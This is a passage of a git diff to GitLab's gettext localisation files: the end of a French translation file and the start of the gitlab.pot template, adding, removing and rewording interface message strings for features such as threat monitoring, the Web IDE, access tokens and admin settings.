msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr "Suivi du temps"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Temps jusqu’à la première demande de fusion"
@@ -33417,9 +34087,6 @@ msgstr[1] "mins"
msgid "Time|s"
msgstr "s"
-msgid "Tip:"
-msgstr "Astuce :"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr "Pour déplacer ou copier un projet GitLab entier depuis une autre instal
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,15 +34318,15 @@ msgstr "Activer/désactiver la navigation"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Afficher/masquer la barre latérale"
msgid "Toggle the Performance Bar"
msgstr ""
-msgid "Toggle this dialog"
-msgstr ""
-
msgid "Toggle thread"
msgstr ""
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Téléverser un fichier"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr "Utiliser vos paramètres de notification globaux"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr "Utilisé par les membres pour se connecter à votre groupe dans GitLab"
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr "Utilisateurs et utilisatrices"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr "Nous avons détecté un potentiel courriel indésirable dans %{humanized
msgid "We don't have enough data to show this stage."
msgstr "Nous n’avons pas suffisamment de données pour afficher cette étape."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "EDI Web"
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Les webhooks vous permettent de déclencher une URL si, par exemple, du nouveau code est poussé ou un nouveau ticket est créé. Vous pouvez configurer les webhooks pour écouter les événements spécifiques comme des poussées de code, des tickets ou des demandes de fusion. Les webhooks de groupes s’appliqueront à tous les projets dans un groupe, ce qui vous permet de normaliser la fonctionnalité du webhook dans votre groupe entier."
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36278,6 +36981,12 @@ msgstr "Supprimer la page %{pageTitle} ?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Écrivez du contenu ou faites glisser des fichiers ici…"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr "Vous ne pouvez pas écrire sur une instance GitLab Geo secondaire en le
msgid "You cannot write to this read-only GitLab instance."
msgstr "Vous ne pouvez pas écrire sur cette instance GitLab en lecture seule."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr "Vos applications (%{size})"
msgid "Your authorized applications"
msgstr "Vos applications autorisées"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr "entre autres choses"
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://votre-serveur-bitbucket"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] "demande de fusion"
msgstr[1] "demandes de fusion"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "Autoriser les commits des membres qui peuvent fusionner dans la branche cible"
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,12 +38991,9 @@ msgstr "Approuvée par"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "Annuler la fusion automatique"
-
msgid "mrWidget|Check out branch"
msgstr "Récupérer la branche"
@@ -38267,9 +39033,6 @@ msgstr "Impossible de charger les statistiques de déploiement"
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "La fusion rapide fastâ€forward n’est pas possible. Pour réaliser cette fusion, vous devez d’abord effectuer un « git rebase » en local."
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Si la branche %{missingBranchName} existe dans votre dépôt local, vous pouvez fusionner cette demande de fusion manuellement en ligne de commande"
@@ -38285,12 +39048,18 @@ msgstr "Chargement des statistiques de déploiement"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "Mentionne"
msgid "mrWidget|Merge"
msgstr "Fusionner"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "La fusion a échoué."
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "ce document"
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index a64a2cdb714..d0d24dfeb2e 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -19,9 +19,6 @@ msgstr ""
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -421,6 +421,21 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -558,9 +573,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -657,10 +669,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -857,9 +869,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -960,9 +969,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -1543,18 +1549,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1756,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1780,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1909,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2110,6 +2110,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,15 +2347,9 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2362,10 +2359,13 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
msgid "AdminSettings|Required pipeline configuration"
@@ -2374,10 +2374,7 @@ msgstr ""
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr ""
-
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2389,10 +2386,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr ""
-
-msgid "AdminSettings|Some settings have moved"
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2401,10 +2395,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2461,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2719,6 +2713,9 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
msgid "AdminUsers|User will be blocked"
msgstr ""
@@ -2734,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2806,9 +2806,18 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconcilliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconcilliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2859,9 +2868,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3030,12 +3036,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3162,9 +3174,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3231,6 +3240,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3465,9 +3477,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3519,6 +3528,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3765,9 +3777,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4044,9 +4053,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4136,15 +4142,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4187,6 +4187,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4527,9 +4530,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4718,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
